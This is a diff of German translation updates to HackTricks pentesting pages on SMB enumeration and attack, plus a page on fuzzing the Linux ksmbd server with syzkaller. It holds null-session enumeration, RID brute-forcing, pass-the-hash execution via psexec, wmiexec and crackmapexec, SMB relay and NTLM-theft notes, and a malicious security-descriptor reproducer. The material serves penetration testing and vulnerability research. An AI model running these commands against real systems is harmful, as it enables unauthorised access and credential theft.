+Diese Informationen sollten bereits von enum4linux und enum4linux-ng gesammelt worden sein.
 ```bash
 crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
 crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@@ -139,7 +140,7 @@ enumdomgroups
 ```bash
 lookupsid.py -no-pass hostname.local
 ```
-Einzeiler
+Oneliner
 ```bash
 for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
 ```
@@ -149,28 +150,28 @@ use auxiliary/scanner/smb/smb_lookupsid
 set rhosts hostname.local
 run
 ```
-### **Enumerierung von LSARPC und SAMR rpcclient**
+### **Enumerieren von LSARPC und SAMR rpcclient**
 
 
 {{#ref}}
 rpcclient-enumeration.md
 {{#endref}}
 
-### GUI-Verbindung unter linux
+### GUI-Verbindung unter Linux
 
 #### Im Terminal:
 
 `xdg-open smb://cascade.htb/`
 
-#### Im Dateimanagerfenster (nautilus, thunar, etc)
+#### Im Dateibrowser-Fenster (nautilus, thunar, etc)
 
 `smb://friendzone.htb/general/`
 
-## Aufzählung freigegebener Ordner
+## Auflisten freigegebener Ordner
 
 ### Freigegebene Ordner auflisten
 
-Es wird immer empfohlen zu prüfen, ob Sie auf etwas zugreifen können. Falls Sie keine Zugangsdaten haben, versuchen Sie **null** **credentials/guest user** zu verwenden.
+Es wird immer empfohlen zu prüfen, ob du auf irgendetwas zugreifen kannst. Wenn du keine credentials hast, versuche **null** **credentials/guest user** zu verwenden.
 ```bash
 smbclient --no-pass -L //<IP> # Null user
 smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -196,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
 smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
 smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
 ```
-### **Manuell Windows-Shares auflisten und sich mit ihnen verbinden**
+### **Manuell Windows-Freigaben auflisten und sich mit ihnen verbinden**
 
-Es kann vorkommen, dass du daran gehindert wirst, Shares der Host-Maschine anzuzeigen, und beim Versuch, sie aufzulisten, so erscheint, als gäbe es keine Shares, zu denen du eine Verbindung herstellen könntest. Daher kann es sinnvoll sein, kurz zu versuchen, manuell eine Verbindung zu einem Share herzustellen. Um die Shares manuell zu enumerieren, solltest du nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn du eine gültige Session verwendest (z. B. null session oder gültige Anmeldedaten). Diese können darauf hinweisen, ob das Share existiert und du keinen Zugriff darauf hast oder das Share überhaupt nicht existiert.
+Es kann vorkommen, dass Sie daran gehindert werden, die Freigaben des Host-Rechners anzuzeigen, und beim Versuch, diese aufzulisten, scheint es, als gäbe es keine Freigaben zum Verbinden. Daher kann es sinnvoll sein, kurz zu versuchen, manuell eine Freigabe zu verbinden. Um die Freigaben manuell zu ermitteln, sollten Sie auf Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME achten, wenn Sie eine gültige Session verwenden (z.B. null session oder gültige Anmeldedaten). Diese können darauf hinweisen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben, oder ob die Freigabe überhaupt nicht existiert.
 
-Common share names for windows targets are
+Gängige Freigabenamen für Windows-Ziele sind
 
 - C$
 - D$
@@ -211,14 +212,14 @@ Common share names for windows targets are
 - SYSVOL
 - NETLOGON
 
-(Common share names from _**Network Security Assessment 3rd edition**_)
+(Gängige Freigabenamen aus _**Network Security Assessment 3rd edition**_)
 
-Du kannst versuchen, dich mit ihnen zu verbinden, indem du den folgenden Befehl verwendest
+Sie können versuchen, sich mit ihnen zu verbinden, indem Sie den folgenden Befehl verwenden
 ```bash
 smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
 smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
 ```
-oder dieses Skript (unter Verwendung einer null session)
+oder dieses Skript (mit einer null session)
 ```bash
 #/bin/bash
 
@@ -240,7 +241,7 @@ Beispiele
 smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
 smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
 ```
-### **Freigaben unter Windows aufzählen / ohne Drittanbieter-Tools**
+### **Freigaben unter Windows auflisten / ohne Drittanbieter-Tools**
 
 PowerShell
 ```bash
@@ -266,9 +267,9 @@ fsmgmt.msc
 # Computer Management: Computer Management > System Tools > Shared Folders > Shares
 compmgmt.msc
 ```
-explorer.exe (grafisch): geben Sie `\\<ip>\` ein, um die verfügbaren nicht-versteckten shares zu sehen.
+explorer.exe (grafisch): Geben Sie `\\<ip>\` ein, um die verfügbaren nicht versteckten Freigaben anzuzeigen.
 
-### Mount a shared folder
+### Einbinden eines freigegebenen Ordners
 ```bash
 mount -t cifs //x.x.x.x/share /mnt/share
 mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
@@ -290,16 +291,16 @@ smbclient //<IP>/<share>
 > mget *
 #Download everything to current directory
 ```
-Befehle:
+Commands:
 
 - mask: gibt die Maske an, die verwendet wird, um die Dateien im Verzeichnis zu filtern (z. B. "" für alle Dateien)
-- recurse: schaltet Rekursion ein/aus (Standard: aus)
-- prompt: schaltet die Abfrage nach Dateinamen ein/aus (Standard: an)
-- mget: kopiert alle Dateien, die der Maske entsprechen, vom Host auf die Client-Maschine
+- recurse: schaltet Rekursion ein (Standard: off)
+- prompt: deaktiviert die Abfrage von Dateinamen (Standard: on)
+- mget: kopiert alle Dateien, die der Maske entsprechen, vom host auf die client machine
 
 (_Informationen aus der manpage von smbclient_)
 
-### Suche nach freigegebenen Ordnern in der Domäne
+### Suche nach freigegebenen Ordnern in der Domain
 
 - [**Snaffler**](https://github.com/SnaffCon/Snaffler)
 ```bash
@@ -311,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
 ```bash
 sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
 ```
-Besonders interessant an Shares sind die Dateien namens **`Registry.xml`**, da sie **Passwörter enthalten können** für Benutzer, die via **autologon** über Group Policy konfiguriert wurden. Oder **`web.config`**-Dateien, da diese Anmeldeinformationen enthalten können.
+Besonders interessant in Shares sind die Dateien namens **`Registry.xml`**, da sie **Passwörter enthalten können** für Benutzer, die mit **autologon** via Group Policy konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten.
 
 > [!TIP]
-> Die **SYSVOL share** ist für alle authentifizierten Benutzer der Domain **lesbar**. Dort können Sie viele verschiedene batch-, VBScript- und PowerShell-**Skripte** finden.\
-> Sie sollten die **Skripte** darin **prüfen**, da Sie möglicherweise sensible Informationen wie **Passwörter** finden.
+> Die **SYSVOL share** ist für alle authentifizierten Benutzer in der Domain **lesbar**. Dort kannst du viele verschiedene batch-, VBScript- und PowerShell-**scripts** **finden**.\
+> Du solltest die **scripts** darin **prüfen**, da du möglicherweise sensible Informationen wie **Passwörter** **findest**.
 
-## Registry lesen
+## Registry auslesen
 
-Sie können möglicherweise die **Registry lesen**, indem Sie entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, Folgendes zu versuchen:
+Möglicherweise kannst du die **Registry** mit einigen entdeckten Anmeldeinformationen **auslesen**. Impacket **`reg.py`** ermöglicht es dir, Folgendes zu versuchen:
 ```bash
 sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
 sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@@ -327,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
 ```
 ## Post Exploitation
 
-Die **Standardkonfiguration** eines **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und kann einige **gefährliche Einstellungen** enthalten:
+Die **Standardkonfiguration** eines **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** enthalten:
 
-| **Einstellung**            | **Beschreibung**                                                    |
+| **Einstellung**             | **Beschreibung**                                                    |
 | --------------------------- | ------------------------------------------------------------------- |
-| `browseable = yes`          | Ermöglicht das Auflisten verfügbarer Shares im aktuellen Share?     |
-| `read only = no`            | Verhindert die Erstellung und Änderung von Dateien?                 |
-| `writable = yes`            | Erlaubt Benutzern, Dateien zu erstellen und zu ändern?              |
-| `guest ok = yes`            | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts?   |
-| `enable privileges = yes`   | Berücksichtigt Privilegien, die einer bestimmten SID zugewiesen sind?|
-| `create mask = 0777`        | Welche Berechtigungen neuen Dateien zugewiesen werden müssen?       |
-| `directory mask = 0777`     | Welche Berechtigungen neuen Verzeichnissen zugewiesen werden müssen? |
-| `logon script = script.sh`  | Welches Skript bei der Benutzeranmeldung ausgeführt werden muss?    |
-| `magic script = script.sh`  | Welches Skript ausgeführt werden soll, wenn das Skript geschlossen wird? |
-| `magic output = script.out` | Wo die Ausgabe des magic script gespeichert werden muss?           |
+| `browseable = yes`          | Erlaubt das Auflisten verfügbarer Freigaben?                        |
+| `read only = no`            | Verbietet die Erstellung und Änderung von Dateien?                  |
+| `writable = yes`            | Erlaubt Benutzern das Erstellen und Ändern von Dateien?             |
+| `guest ok = yes`            | Erlaubt die Verbindung zum Dienst ohne Passwort?                    |
+| `enable privileges = yes`   | Berücksichtigt Berechtigungen, die bestimmten SIDs zugewiesen sind? |
+| `create mask = 0777`        | Welche Berechtigungen müssen neu erstellten Dateien zugewiesen werden? |
+| `directory mask = 0777`     | Welche Berechtigungen müssen neu erstellten Verzeichnissen zugewiesen werden? |
+| `logon script = script.sh`  | Welches Skript muss beim Login des Benutzers ausgeführt werden?     |
+| `magic script = script.sh`  | Welches Skript soll ausgeführt werden, wenn das Skript beendet wird? |
+| `magic output = script.out` | Wo die Ausgabe des magic-Skripts gespeichert werden muss?           |
 
 Der Befehl `smbstatus` liefert Informationen über den **Server** und darüber, **wer verbunden ist**.
 
-## Authentifizierung mit kerberos
+## Authentifizieren mit Kerberos
 
-Du kannst dich gegenüber **kerberos** mit den Tools **smbclient** und **rpcclient** **authentifizieren**:
+Du kannst dich bei **kerberos** mit den Tools **smbclient** und **rpcclient** authentifizieren:
 ```bash
 smbclient --kerberos //ws01win10.domain.com/C$
 rpcclient -k ws01win10.domain.com
@@ -355,7 +356,7 @@ rpcclient -k ws01win10.domain.com
 
 ### **crackmapexec**
 
-crackmapexec kann Befehle ausführen, **abusing** beliebiger Methoden wie **mmcexec, smbexec, atexec, wmiexec**, wobei **wmiexec** die **Standard**-Methode ist. Du kannst die gewünschte Option mit dem Parameter `--exec-method` angeben:
+crackmapexec kann Befehle ausführen, **abusing** eines der **mmcexec, smbexec, atexec, wmiexec**, wobei **wmiexec** die **default** Methode ist. Mit dem Parameter `--exec-method` können Sie angeben, welche Option Sie bevorzugt verwenden möchten:
 ```bash
 apt-get install crackmapexec
 
@@ -379,8 +380,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
 ```
 ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
 
-Beide Optionen werden **einen neuen Service erstellen** (unter Verwendung von _\pipe\svcctl_ über SMB) auf dem Zielrechner und ihn nutzen, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei auf das ADMIN$ share **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und in den Argumenten das payload übergeben --**file-less technique-**-).\
-**Mehr Infos** zu [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) und [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
+Beide Optionen werden **einen neuen Service erstellen** (unter Verwendung von _\pipe\svcctl_ über SMB) auf dem Opferrechner und ihn verwenden, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in das ADMIN$ share **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** zeigen und die Nutzlast als Argumente übergeben —**file-less technique**—).\
+**Mehr Infos** zu [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)und [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
 In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
@@ -389,11 +390,11 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
 psexec \\192.168.122.66 -u Administrator -p 123456Ww
 psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
 ```
-Mit dem **Parameter**`-k` kannst du dich mit **kerberos** statt **NTLM** authentifizieren
+Mit dem **Parameter** `-k` können Sie sich mit **kerberos** anstelle von **NTLM** authentifizieren
 
 ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
 
-Führe unauffällig eine Kommando-Shell aus, ohne die Festplatte zu berühren oder einen neuen Dienst zu starten, indem du DCOM über **port 135.** verwendest.\
+Führen Sie heimlich eine Kommando-Shell aus, ohne die Festplatte zu berühren oder einen neuen Dienst zu starten, indem Sie DCOM über **port 135.**\
 In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
 ```bash
 #If no password is provided, it will be prompted
@@ -401,7 +402,7 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
 ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
 #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
 ```
-Mit dem **Parameter**`-k` können Sie sich über **kerberos** statt **NTLM** authentifizieren
+Mit dem **Parameter**`-k` kann man sich mit **kerberos** statt **NTLM** authentifizieren.
 ```bash
 #If no password is provided, it will be prompted
 ./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@@ -410,23 +411,23 @@ Mit dem **Parameter**`-k` können Sie sich über **kerberos** statt **NTLM** aut
 ```
 ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
 
-Befehle über den Task Scheduler ausführen (unter Verwendung von _\pipe\atsvc_ über SMB).\
+Führe Befehle über den Task Scheduler aus (mithilfe von _\pipe\atsvc_ über SMB).\
 In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
 ```bash
 ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
 ./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
 ```
-## Impacket-Referenz
+## Impacket Referenz
 
 [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
 
-### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
+### ksmbd Angriffsfläche und SMB2/SMB3-Protokoll-Fuzzing (syzkaller)
 
 {{#ref}}
 ksmbd-attack-surface-and-fuzzing-syzkaller.md
 {{#endref}}
 
-## **Bruteforce users credentials**
+## **Bruteforce Benutzeranmeldeinformationen**
 
 **Dies wird nicht empfohlen — Sie könnten ein Konto sperren, wenn Sie die maximal erlaubten Versuche überschreiten**
 ```bash
@@ -435,33 +436,33 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
 ```
 ## SMB relay attack
 
-Dieser Angriff verwendet das Responder toolkit, um **capture SMB authentication sessions** in einem internen Netzwerk zu ermöglichen und **relays** diese an eine **target machine**. Wenn die Authentifizierungs-**session** erfolgreich ist, bringt sie dich automatisch in eine **system** **shell**.\
-[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+Dieser Angriff verwendet das Responder toolkit, um **capture SMB authentication sessions** in einem internen Netzwerk durchzuführen und diese an eine **target machine** zu **relay**. Wenn die Authentifizierungs**session** erfolgreich ist, bringt sie dich automatisch in eine **system shell**.\
+[**Mehr Informationen zu diesem Angriff hier.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 
 ## SMB-Trap
 
-Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, Inhalte über SMB zu laden, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
+Die Windows-Bibliothek URLMon.dll versucht automatisch, sich am Host zu authentifizieren, wenn eine Seite versucht, Inhalte via SMB zu laden, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
 
-This happens with the functions:
+Dies geschieht mit den Funktionen:
 
 - URLDownloadToFile
 - URLDownloadToCache
 - URLOpenStream
 - URLOpenBlockingStream
 
-Which are used by some browsers and tools (like Skype)
+Die von einigen Browsern und Tools (wie Skype) verwendet werden.
 
-![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
+![Von: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
 
-### SMBTrap using MitMf
+### SMBTrap mit MitMf
 
-![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
+![Von: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
 
 ## NTLM Theft
 
-Ähnlich wie beim SMB Trapping kann das Ablegen bösartiger Dateien auf ein target system (z. B. via SMB) einen SMB authentication attempt auslösen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann anschließend offline gecrackt oder in einem [SMB relay attack](#smb-relay-attack) verwendet werden.
+Ähnlich wie SMB Trapping kann das Platzieren bösartiger Dateien auf einem target system (z. B. via SMB) einen SMB authentication attempt hervorrufen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann dann offline geknackt oder in einem [SMB relay attack](#smb-relay-attack) verwendet werden.
 
-[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
+[Siehe: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
 
 ## HackTricks Automatic Commands
 ```

src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md

@@ -1,16 +1,16 @@
-# ksmbd Angriffsfläche & SMB2/SMB3 Protokoll Fuzzing (syzkaller)
+# ksmbd Angriffsfläche & SMB2/SMB3 Protokoll-Fuzzing (syzkaller)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Übersicht
-Diese Seite fasst praktische Techniken zusammen, um den Linux In‑Kernel SMB‑Server (ksmbd) mit syzkaller auszuüben und zu fuzzing. Der Fokus liegt auf der Erweiterung der Protokoll-Angriffsfläche durch Konfiguration, dem Aufbau eines zustandsbehafteten Harness, das SMB2‑Operationen ketten kann, der Erzeugung grammatik‑gültiger PDUs, dem Biasing von Mutationen in schlecht abgedeckte Codepfade und der Nutzung von syzkaller‑Features wie focus_areas und ANYBLOB. Während die ursprüngliche Forschung spezifische CVEs aufzählt, betonen wir hier die wiederverwendbare Methodik und konkrete Snippets, die Sie an Ihre Setups anpassen können.
+## Überblick
+Diese Seite fasst praktische Techniken zusammen, um den Linux In-Kernel SMB-Server (ksmbd) mit syzkaller zu exercisen und zu fuzzing. Der Fokus liegt auf der Erweiterung der Protokoll-Angriffsfläche über Konfiguration, dem Aufbau eines zustandsbehafteten Harness, das SMB2-Operationen verketten kann, der Generierung grammatikgültiger PDUs, dem Biasing von Mutationen in schwach abgedeckte Codepfade und der Nutzung von syzkaller-Features wie focus_areas und ANYBLOB. Während die ursprüngliche Forschung konkrete CVEs aufzählt, betonen wir hier die wiederverwendbare Methodik und konkrete Snippets, die Sie an Ihre eigenen Setups anpassen können.
 
-Zielbereich: SMB2/SMB3 über TCP. Kerberos und RDMA sind bewusst ausgeklammert, um das Harness einfach zu halten.
+Zielumfang: SMB2/SMB3 über TCP. Kerberos und RDMA sind bewusst außerhalb des Umfangs, um das Harness einfach zu halten.
 
 ---
 
-## Erweitern der ksmbd‑Angriffsfläche durch Konfiguration
-Eine minimale ksmbd‑Konfiguration lässt standardmäßig große Teile des Servers ungetestet. Aktivieren Sie die folgenden Features, um den Server durch zusätzliche Parser/Handler zu treiben und tiefere Codepfade zu erreichen:
+## Erweitern der ksmbd-Angriffsfläche über Konfiguration
+Standardmäßig lässt ein minimales ksmbd-Setup große Teile des Servers ungetestet. Aktivieren Sie die folgenden Features, um den Server durch zusätzliche Parser/Handler zu treiben und tiefere Codepfade zu erreichen:
 
 - Global-level
 - Durable handles
@@ -20,7 +20,7 @@ Eine minimale ksmbd‑Konfiguration lässt standardmäßig große Teile des Serv
 - Oplocks (on by default)
 - VFS objects
 
-Das Aktivieren dieser Features erhöht die Ausführung in Modulen wie:
+Das Aktivieren dieser Optionen erhöht die Ausführung in Modulen wie:
 - smb2pdu.c (command parsing/dispatch)
 - ndr.c (NDR encode/decode)
 - oplock.c (oplock request/break)
@@ -29,27 +29,27 @@ Das Aktivieren dieser Features erhöht die Ausführung in Modulen wie:
 - vfs_cache.c (lookup cache)
 
 Hinweise
-- Exakte Optionen hängen von Ihrer Distro‑spezifischen ksmbd Userspace (ksmbd-tools) ab. Überprüfen Sie /etc/ksmbd/ksmbd.conf und die Per‑Share‑Sektionen, um durable handles, leases, oplocks und VFS objects zu aktivieren.
-- Multi‑channel und durable handles verändern State‑Machines und Lifetimes und führen unter Concurrency oft zu UAF/refcount/OOB Fehlern.
+- Die genauen Optionen hängen vom ksmbd Userspace Ihrer Distribution (ksmbd-tools) ab. Überprüfen Sie /etc/ksmbd/ksmbd.conf und die per-share Sektionen, um durable handles, leases, oplocks und VFS objects zu aktivieren.
+- Multi-channel und durable handles ändern Zustandsmaschinen und Lebenszyklen und führen unter Concurrency häufig zu UAF/refcount/OOB-Bugs.
 
 ---
 
-## Authentifizierungs‑ und Rate‑Limiting‑Anpassungen für Fuzzing
-SMB3 benötigt eine gültige Session. Die Implementierung von Kerberos im Harness erhöht die Komplexität, daher ist NTLM/guest für Fuzzing vorzuziehen:
+## Authentifizierung und Rate-Limiting-Anpassungen für Fuzzing
+SMB3 benötigt eine gültige Session. Die Implementierung von Kerberos im Harness erhöht die Komplexität, daher bevorzugen Sie für Fuzzing NTLM/guest:
 
 - Allow guest access und setzen Sie map to guest = bad user, sodass unbekannte Benutzer auf GUEST zurückfallen.
-- Accept NTLMv2 (patchen Sie die Policy, falls deaktiviert). Das hält den Handshake einfach und treibt gleichzeitig SMB3‑Codepfade.
-- Patchen Sie strikte credit checks während des Experimentierens (post‑Hardening für CVE-2024-50285 hat simultaneous‑op Crediting verschärft). Andernfalls können Rate‑Limits fuzzed Sequenzen zu früh ablehnen.
-- Erhöhen Sie max connections (z. B. auf 65536), um frühe Ablehnungen bei hohem Durchsatz zu vermeiden.
+- Accept NTLMv2 (patch policy falls deaktiviert). Das hält den Handshake einfach, während SMB3-Codepfade ausgeübt werden.
+- Patchen Sie strikte Credit-Checks für Experimente heraus (post-hardening für CVE-2024-50285 machte simultaneous-op crediting strenger). Andernfalls können Rate-Limits fuzzed Sequenzen zu früh ablehnen.
+- Erhöhen Sie max connections (z. B. auf 65536), um frühe Ablehnungen bei High-Throughput-Fuzzing zu vermeiden.
 
-Vorsicht: Diese Lockerungen dienen ausschließlich dem Fuzzing. Setzen Sie diese Einstellungen nicht in Produktion ein.
+Warnung: Diese Lockerungen dienen ausschließlich dem Fuzzing. Setzen Sie diese Einstellungen nicht in Produktionsumgebungen ein.
 
 ---
 
-## Stateful Harness: Ressourcen extrahieren und Requests ketten
-SMB ist zustandsbehaftet: Viele Requests hängen von Identifiers ab, die in vorherigen Antworten zurückgegeben werden (SessionId, TreeID, FileID Paare). Ihr Harness muss Antworten parsen und IDs innerhalb desselben Programms wiederverwenden, um tiefe Handler zu erreichen (z. B. smb2_create → smb2_ioctl → smb2_close).
+## Zustandsbehaftetes Harness: Ressourcen extrahieren und Requests verketten
+SMB ist zustandsbehaftet: Viele Requests hängen von Bezeichnern ab, die in vorherigen Antworten zurückgegeben werden (SessionId, TreeID, FileID-Paare). Ihr Harness muss Antworten parsen und IDs innerhalb desselben Programms wiederverwenden, um zu tiefen Handlern zu gelangen (z. B. smb2_create → smb2_ioctl → smb2_close).
 
-Beispiel‑Snippet, um einen Response‑Buffer zu verarbeiten (wobei die +4B NetBIOS PDU length übersprungen werden) und IDs zu cachen:
+Beispiel-Snippet, um einen Response-Buffer zu verarbeiten (überspringt die +4B NetBIOS PDU-Länge) und IDs zu cachen:
 ```c
 // process response. does not contain +4B PDU length
 void process_buffer(int msg_no, const char *buffer, size_t received) {
@@ -76,15 +76,15 @@ break;
 }
 ```
 Tipps
-- Behalte einen einzelnen fuzzer-Prozess, der Authentifizierung/Zustand teilt: bessere Stabilität und Coverage mit ksmbd’s global/session tables. syzkaller injiziert dennoch Concurrency, indem es ops als async markiert und intern neu ausführt.
-- Syzkaller’s experimentelles reset_acc_state kann den globalen Zustand zurücksetzen, bringt aber möglicherweise starke Verlangsamung. Bevorzuge Stabilität und konzentriere dich stattdessen auf fuzzing.
+- Behalte einen fuzzer-Prozess, der Authentifizierung/Zustand teilt: bessere Stabilität und Coverage mit ksmbd’s globalen/Sitzungstabellen. syzkaller injiziert weiterhin Concurrency, indem es ops als async markiert; rerun intern.
+- Syzkaller’s experimentelles reset_acc_state kann den globalen Zustand zurücksetzen, kann aber starke Verlangsamungen verursachen. Bevorzuge Stabilität und fokussiere dich stattdessen auf fuzzing.
 
 ---
 
-## Grammatikgesteuerte SMB2-Generierung (gültige PDUs)
-Übersetze die SMB2-Strukturen aus den Microsoft Open Specifications in eine fuzzer-Grammatik, damit dein Generator strukturell gültige PDUs erzeugt, die systematisch Dispatcher und IOCTL-Handler erreichen.
+## Grammatikgesteuerte SMB2-Erzeugung (gültige PDUs)
+Übersetze die Microsoft Open Specifications SMB2-Strukturen in eine fuzzer-Grammatik, damit dein Generator strukturell gültige PDUs erzeugt, die systematisch Dispatcher und IOCTL-Handler erreichen.
 
-Example (SMB2 IOCTL request):
+Beispiel (SMB2 IOCTL-Anfrage):
 ```
 smb2_ioctl_req {
 Header_Prefix           SMB2Header_Prefix
@@ -107,12 +107,12 @@ Input                   array[int8]
 Output                  array[int8]
 } [packed]
 ```
-Dieser Stil erzwingt korrekte Strukturgrößen/Offsets und verbessert die Abdeckung gegenüber blindem Mutieren dramatisch.
+Dieser Stil erzwingt korrekte Strukturgrößen/-offsets und verbessert die Coverage dramatisch gegenüber blind mutation.
 
 ---
 
-## Gezieltes Fuzzing mit focus_areas
-Verwenden Sie syzkaller’s experimentelle focus_areas, um bestimmte Funktionen/Dateien zu übergewichten, die derzeit eine schwache Abdeckung aufweisen. Beispiel-JSON:
+## Directed Fuzzing With focus_areas
+Verwende syzkaller’s experimental focus_areas, um bestimmte Funktionen/Dateien, die derzeit eine schwache Coverage aufweisen, stärker zu gewichten. Beispiel JSON:
 ```json
 {
 "focus_areas": [
@@ -122,7 +122,7 @@ Verwenden Sie syzkaller’s experimentelle focus_areas, um bestimmte Funktionen/
 ]
 }
 ```
-Das hilft, gültige ACLs zu konstruieren, die die arithmetische/overflow-Pfade in smbacl.c auslösen. Zum Beispiel reproduziert ein bösartiger Security Descriptor mit einem übergroßen dacloffset einen integer-overflow.
+Dies hilft beim Erstellen gültiger ACLs, die arithmetic/overflow paths in smbacl.c treffen. Zum Beispiel reproduziert ein bösartiger Security Descriptor mit einem übergroßen dacloffset einen integer-overflow.
 
 Reproducer builder (minimal Python):
 ```python
@@ -143,8 +143,8 @@ return bytes(sd)
 ```
 ---
 
-## Durchbrechen von Coverage-Plateaus mit ANYBLOB
-syzkaller’s anyTypes (ANYBLOB/ANYRES) ermöglichen es, komplexe Strukturen in blobs zu bündeln, die sich generisch mutieren. Lege ein neues Corpus aus öffentlichen SMB pcaps an und konvertiere Payloads in syzkaller-Programme, die deinen Pseudo-Syscall aufrufen (z. B. syz_ksmbd_send_req):
+## Coverage-Plateaus mit ANYBLOB überwinden
+syzkaller’s anyTypes (ANYBLOB/ANYRES) erlauben es, komplexe Strukturen in generisch mutierende Blobs zu verwandeln. Erzeuge ein neues Corpus aus öffentlichen SMB pcaps und konvertiere Payloads in syzkaller-Programme, die deinen pseudo-syscall aufrufen (z. B. syz_ksmbd_send_req):
 ```bash
 # Extract SMB payloads to JSON
 # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@@ -167,14 +167,14 @@ f.write(
 f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
 )
 ```
-Das beschleunigt die Exploration und kann sofort UAFs auslösen (z. B. in ksmbd_sessions_deregister) und gleichzeitig die Abdeckung um einige Prozentpunkte erhöhen.
+Das beschleunigt die Erkundung und kann sofort UAFs auslösen (z. B. in ksmbd_sessions_deregister), während die Abdeckung um einige Prozentpunkte steigt.
 
 ---
 
-## Sanitizer: Über KASAN hinaus
